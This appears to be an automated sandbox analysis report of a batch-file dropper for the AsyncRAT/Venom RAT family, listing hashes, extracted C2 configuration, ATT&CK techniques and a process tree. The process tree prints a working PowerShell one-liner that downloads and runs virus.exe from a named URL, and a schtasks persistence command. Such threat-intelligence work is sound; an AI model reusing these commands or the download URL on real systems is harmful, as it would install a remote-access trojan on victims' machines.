asyncrat | bb7ad16471d922ca93fb343372dba6034cfdd536831a395e4054c7d9d2ff6664

Analysis

max time kernel
510s
max time network
499s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 22:48

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General

Target

lol.bat
Size

272B
MD5

bbcb8363229c568f8a50a6e06e90d27c
SHA1

bb2cedb7ab72648e4b63940a0f2de83d2d34c447
SHA256

bb7ad16471d922ca93fb343372dba6034cfdd536831a395e4054c7d9d2ff6664
SHA512

fe230e3253930c00ac07ec5ea2fe4e2756dcd725a17ccdb9d3c1fe502ffa6ddb65c955ac3818c2de5b2a62faaaa6ad6e34ac767475288ee39bb59018f8f2236c

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0008000000023ca8-17.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3320	powershell.exe
9	3320	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3320	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 2 IoCs

pid	Process
5056	virus.exe
4220	WINDOWS.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1164	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4076	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3320	powershell.exe
3320	powershell.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
5056	virus.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe
4220	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	5056	virus.exe
Token: SeDebugPrivilege	4220	WINDOWS.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4220	WINDOWS.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 4712	2816	cmd.exe	83
PID 2816 wrote to memory of 4712	2816	cmd.exe	83
PID 4712 wrote to memory of 3320	4712	cmd.exe	84
PID 4712 wrote to memory of 3320	4712	cmd.exe	84
PID 3320 wrote to memory of 5056	3320	powershell.exe	86
PID 3320 wrote to memory of 5056	3320	powershell.exe	86
PID 5056 wrote to memory of 232	5056	virus.exe	87
PID 5056 wrote to memory of 232	5056	virus.exe	87
PID 5056 wrote to memory of 528	5056	virus.exe	89
PID 5056 wrote to memory of 528	5056	virus.exe	89
PID 232 wrote to memory of 4076	232	cmd.exe	91
PID 232 wrote to memory of 4076	232	cmd.exe	91
PID 528 wrote to memory of 1164	528	cmd.exe	92
PID 528 wrote to memory of 1164	528	cmd.exe	92
PID 528 wrote to memory of 4220	528	cmd.exe	93
PID 528 wrote to memory of 4220	528	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\lol.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\system32\cmd.exe
  cmd /k powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Users\Admin\AppData\Local\Temp\virus.exe
      "C:\Users\Admin\AppData\Local\Temp\virus.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5056
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:232
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4076
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCBDB.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:528
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:1164
      - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pw2uh2pn.obk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpCBDB.tmp.bat

Filesize
151B

MD5
17546bf8f57e94db9b084361713c1ce0

SHA1
3a958a19bee5a34c99699ebb0306b41c8e4911e2

SHA256
2b172ecded75945da8cdf5995a7d99dca6828c596ee0e6470cb61cdf54e9612f

SHA512
fe420f5864f92b07c2b25471dea11cd0afda55e14f062d9bab1eaf595db2a8e10979b151c6d951cdbf31175f5f8874623052ced034ada2d88891b2d3ff5f3e75

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/3320-12-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/3320-40-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/3320-48-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/3320-0-0x00007FFD352C3000-0x00007FFD352C5000-memory.dmp

Filesize
8KB

Download
memory/3320-39-0x00007FFD352C3000-0x00007FFD352C5000-memory.dmp

Filesize
8KB

Download
memory/3320-6-0x000002311FAC0000-0x000002311FAE2000-memory.dmp

Filesize
136KB

Download
memory/3320-11-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/3320-34-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/4220-43-0x000000001C7E0000-0x000000001C856000-memory.dmp

Filesize
472KB

Download
memory/4220-44-0x0000000002980000-0x000000000298E000-memory.dmp

Filesize
56KB

Download
memory/4220-45-0x0000000002A00000-0x0000000002A1E000-memory.dmp

Filesize
120KB

Download
memory/5056-32-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/5056-27-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/5056-26-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/5056-24-0x0000000000210000-0x0000000000228000-memory.dmp

Filesize
96KB

Download